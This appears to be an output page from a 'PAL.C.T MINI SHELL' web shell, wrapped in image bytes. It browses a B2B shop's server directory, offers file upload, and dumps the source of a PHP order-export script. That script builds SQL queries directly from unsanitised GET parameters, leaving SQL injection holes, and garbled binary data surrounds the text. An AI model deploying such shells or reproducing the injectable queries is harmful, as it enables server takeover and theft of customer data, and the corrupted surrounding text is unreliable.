php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/b2b/owner/modul/mod_order3/
upload
files >> /var/www/html/b2b/owner/modul/mod_order3/eksport3.php

<?php

include "../../../config/koneksi.php";
function format_rupiah($angka){
  $rupiah=number_format($angka,0,',','.');
  return $rupiah;
}
function tampil_list2($harga, $diskon, $promo)
{
  if($promo > 0)
  {
    $tampil = $promo;
  }
  elseif($diskon > 0)
  {
    $tampil = $harga - ($harga*($diskon/100));
  }
  else{
    $tampil = $harga;
  }

  return $tampil;
}
  
// nama file
$namaFile = "Export Daftar Orderan.xls";

// Function penanda awal file (Begin Of File) Excel

function xlsBOF() {
echo pack("ssssss", 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
return;
}

// Function penanda akhir file (End Of File) Excel

function xlsEOF() {
echo pack("ss", 0x0A, 0x00);
return;
}

// Function untuk menulis data (angka) ke cell excel

function xlsWriteNumber($Row, $Col, $Value) {
echo pack("sssss", 0x203, 14, $Row, $Col, 0x0);
echo pack("d", $Value);
return;
}

// Function untuk menulis data (text) ke cell excel

function xlsWriteLabel($Row, $Col, $Value ) {
$L = strlen($Value);
echo pack("ssssss", 0x204, 8 + $L, $Row, $Col, 0x0, $L);
echo $Value;
return;
}

// header file excel

header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0,
        pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");

// header untuk nama file
header("Content-Disposition: attachment;
        filename=".$namaFile."");

header("Content-Transfer-Encoding: binary ");

// memanggil function penanda awal file excel
xlsBOF();

// ------ membuat kolom pada excel --- //

xlsWriteLabel(0,0,"Invoice");               

xlsWriteLabel(0,1,"Tanggal");              

xlsWriteLabel(0,2,"Nama Customer");   

xlsWriteLabel(0,3,"Total Pembelian"); 

xlsWriteLabel(0,4,"Station Pick Up"); 

xlsWriteLabel(0,5,"Status Order"); 

xlsWriteLabel(0,6,"Keterangan"); 


// -------- menampilkan data --------- //

// query menampilkan semua data
if($_GET[search] != "")
      {
          if($_GET[from_to] != "kosong" AND $_GET[date_to]!= "kosong" AND $_GET[status_order]!= "kosong")
          {
            $query = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `tgl_order` >= '$_GET[from_to]'
                                   AND `tgl_order` <= '$_GET[date_to]'
                                   AND `status_order` = '$_GET[status_order]'
                                   ORDER BY id_orders DESC");          

          }
          elseif($_GET[invoice] != "kosong")
          {
            $query = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND id_orders = '$_GET[invoice]'
                                   ORDER BY id_orders DESC");
          }
          elseif($_GET[nama_kota] != "")
          {
            $query = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer = kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND service_station = '$_GET[nama_kota]'
                                   ORDER BY id_orders DESC");
          }
          elseif($_GET[from_to] != "kosong"){
            $query = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `tgl_order` >= '$_GET[from_to]'
                                   ORDER BY id_orders DESC");          

          }
          elseif($_GET[date_to] != "kosong"){
            $query = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `tgl_order` <= '$_GET[date_to]'
                                   ORDER BY id_orders DESC");          

          }
          elseif($_GET[status_order] != "kosong"){
            $query = mysql_query("SELECT * FROM orders,kustomer 
                                   WHERE orders.id_kustomer=kustomer.id_kustomer
                                   AND orders.status_order != 'Order'
                                   AND orders.status_order != 'Order1' 
                                   AND `status_order` = '$_GET[status_order]'
                                   ORDER BY id_orders DESC");          

          }
          
          
      }
      else{
        $query = mysql_query("SELECT * FROM orders,kustomer 
                                 WHERE orders.id_kustomer=kustomer.id_kustomer
                                 AND orders.status_order != 'Order'
                                 AND orders.status_order != 'Order1' 
                                 ORDER BY id_orders DESC");          
      }

// nilai awal untuk baris cell
$noBarisCell = 1;

// nilai awal untuk nomor urut data
$noData = 1;

while ($r = mysql_fetch_array($query))
{

$daftarproduk=mysql_query("SELECT * FROM orders_detail 
                                 WHERE id_orders = '$r[id_orders]'");
        
$no=1;
while ($d=mysql_fetch_array($daftarproduk)){


$rs = mysql_fetch_array(mysql_query("SELECT * FROM produk WHERE id_produk = '$d[id_produk]' "));
      $nama_produk = $rs[nama_produk];
      
      $gambar       = "<img src='images/img_produk/small_$rs[foto1]'>";

          $ex_range   = explode(',', $rs[range]);
          $jlh_range  = count($ex_range);

          $ex_harga   = explode(',', $rs[harga]);
          $jlh_harga  = count($ex_range);
          
          if($d[jumlah] >= 1 AND $d[jumlah] <=$ex_range[0])
          {
            $harga_tampil = $ex_harga[0];
          }      


          for ($ii=1; $ii < $jlh_range; $ii++) { 
            
            $pertama = $ex_range[$ii-1] + 1;

            if($pertama == $ex_range[$ii])
            {
              if($d[jumlah] >= $ex_range[$ii])
              {
                $harga_tampil = $ex_harga[$ii];
              }
            }
            else{

              if($d[jumlah] >= $pertama AND $d[jumlah] <= $ex_range[$ii])
              { 
                $harga_tampil = $ex_harga[$ii];
              } 
            }
            
          }


   $harga_tampil = tampil_list2($rs[harga], $rs[diskon], $rs[harga_promo]);
   //echo "Harga TAmpil : $harga_tampil";
   $hargadisc    = number_format(($harga_tampil),0,",","."); 
   $subtotal     = $harga_tampil * $d[jumlah];
   $total        = $total + $subtotal;


   $no++;
   $NPN = $d['NPN'];
}
   $total = $total + $r[biaya_kirim];

if($NPN == "NPPN")
   {  
      $status_NPN = "Orderan tanpa PPN 10%";
      
          $total_rp_awal = format_rupiah($total);
            $total_rp_net = $total;
            $total_hitung = format_rupiah(ceil($total_rp_net / 11));
            $total = $total / 1.1;
            $total_rp_akhir = "Rp. <b>".format_rupiah($total).",-</b>";
            $perhitungan = "($total_hitung,-)";
            $keterangan = "Harga belum termasuk PPN";
            $grand_total = "<b>Total</b> (Tanpa PPN)";
          $button_next = "<a href='selesai-belanja-NPPN.html' class='btn btn-success'> Selesai Belanja </a>";
          $ket = "(harga belum termasuk PPN)";
          $ket_ppn = "<b>PPN</b>";     
          $total_tampil =   $total_rp_akhir;
   }
   else{
      $status_NPN = "Orderan termasuk PPN 10%";
          $total_rp_awal = format_rupiah($total);
          $keterangan = "Harga sudah termasuk PPN";
          $button_next = "<a href='selesai-belanja-PPN.html' class='btn btn-success'> Selesai Belanja </a>";
          $ket = "(harga termasuk PPN)";
          $total_tampil =   "Rp. ".$total_rp_awal.",-";
   }

$grandtotal    = $total ; 

$biaya_kirim    = $r[biaya_kirim];

$total_akhir    = $total + $biaya_kirim;
$total_rp_akhir = format_rupiah($total_akhir);

   xlsWriteNumber($noBarisCell,0, $r['id_orders']);

   xlsWriteLabel($noBarisCell,1, $r['tgl_order']);

   xlsWriteLabel($noBarisCell,2,$r['nama_lengkap']);
 
   xlsWriteLabel($noBarisCell,3,$total_rp_akhir);

   xlsWriteLabel($noBarisCell,4,$r['service_station']);

   xlsWriteLabel($noBarisCell,5,$r['status_order']);

   xlsWriteLabel($noBarisCell,6,$r['keterangan']);
//   xlsWriteLabel($noBarisCell,5,$data['comment']);
//   xlsWriteLabel($noBarisCell,6,$data['source']);

   // increment untuk no. baris cell dan no. urut data
   $noBarisCell++;
   $noData++;
}

// memanggil function penanda akhir file excel
xlsEOF();
exit();

//header('location:../../media.php?module=exim');

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`